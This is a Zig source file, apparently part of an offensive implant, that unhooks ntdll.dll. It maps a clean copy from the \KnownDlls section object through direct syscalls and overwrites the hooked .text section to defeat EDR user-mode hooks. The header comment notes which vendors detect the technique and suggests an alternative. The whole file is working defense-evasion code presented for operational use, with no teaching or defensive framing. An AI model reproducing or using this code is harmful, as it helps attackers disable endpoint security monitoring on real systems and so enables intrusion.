// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
const std = @import("std");
const syscall = @import("syscall.zig");
const resolve = @import("resolve.zig");
const win = @import("win32.zig");

var g_unhooked: bool = false;

pub fn unhookNtdll() void {
    if (g_unhooked) return;
    g_unhooked = true;

    const ntdll_hash = resolve.hash_ror13("ntdll.dll");
    const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
    const our_bytes = @as([*]u8, @ptrCast(our_base));

    const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
    if (dos.e_magic != 0x5A4D) return;

    const nt = @as(*align(1) extern struct {
        Signature: u32,
        FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
        OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 },
    }, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
    if (nt.Signature != 0x00004550) return;

    var text_va: usize = 0;
    var text_size: usize = 0;
    const section_off = dos.e_lfanew + 4 + 20 + 240;
    const sections = @as([*]align(1) extern struct {
        Name: [8]u8,
        VirtualSize: u32,
        VirtualAddress: u32,
        pad: [20]u8,
        Characteristics: u32,
    }, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
    for (0..nt.FileHeader.NumberOfSections) |i| {
        if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
            text_va = sections[i].VirtualAddress;
            text_size = sections[i].VirtualSize;
            break;
        }
    }
    if (text_va == 0 or text_size == 0) return;

    const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
    var us: win.UNICODE_STRING = .{
        .Length = (@sizeOf(@TypeOf(name)) - 2),
        .MaximumLength = @sizeOf(@TypeOf(name)),
        .Buffer = @ptrCast(@constCast(&name)),
    };
    var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
    oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
    oa.ObjectName = &us;
    oa.Attributes = win.OBJ_CASE_INSENSITIVE;

    var section_handle: win.HANDLE = undefined;
    if (!win.NT_SUCCESS(syscall.nt_open_section(&section_handle, win.SECTION_MAP_READ, &oa)))
        return;
    defer _ = syscall.nt_close(section_handle);

    var view_base: ?*anyopaque = null;
    var view_size: win.SIZE_T = 0;
    _ = syscall.nt_map_view_of_section(
        section_handle,
        syscall.nt_current_process(),
        &view_base,
        0,
        0,
        null,
        &view_size,
        2, // ViewUnmap = 2
        0,
        win.PAGE_READONLY,
    );

    if (view_base != null and view_size >= text_size) {
        const clean_base = @as([*]u8, @ptrCast(view_base));
        const our_text = our_bytes[text_va .. text_va + text_size];

        var region_size: win.SIZE_T = text_size;
        var old_prot: win.DWORD = 0;
        var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
        if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
            syscall.nt_current_process(),
            &base_ptr,
            &region_size,
            win.PAGE_READWRITE,
            &old_prot,
        ))) return;

        @memcpy(our_text, clean_base[0..text_size]);

        base_ptr = @ptrCast(&our_bytes[text_va]);
        region_size = text_size;
        _ = syscall.nt_protect_virtual_memory(
            syscall.nt_current_process(),
            &base_ptr,
            &region_size,
            win.PAGE_EXECUTE_READ,
            &old_prot,
        );
    }

    if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
}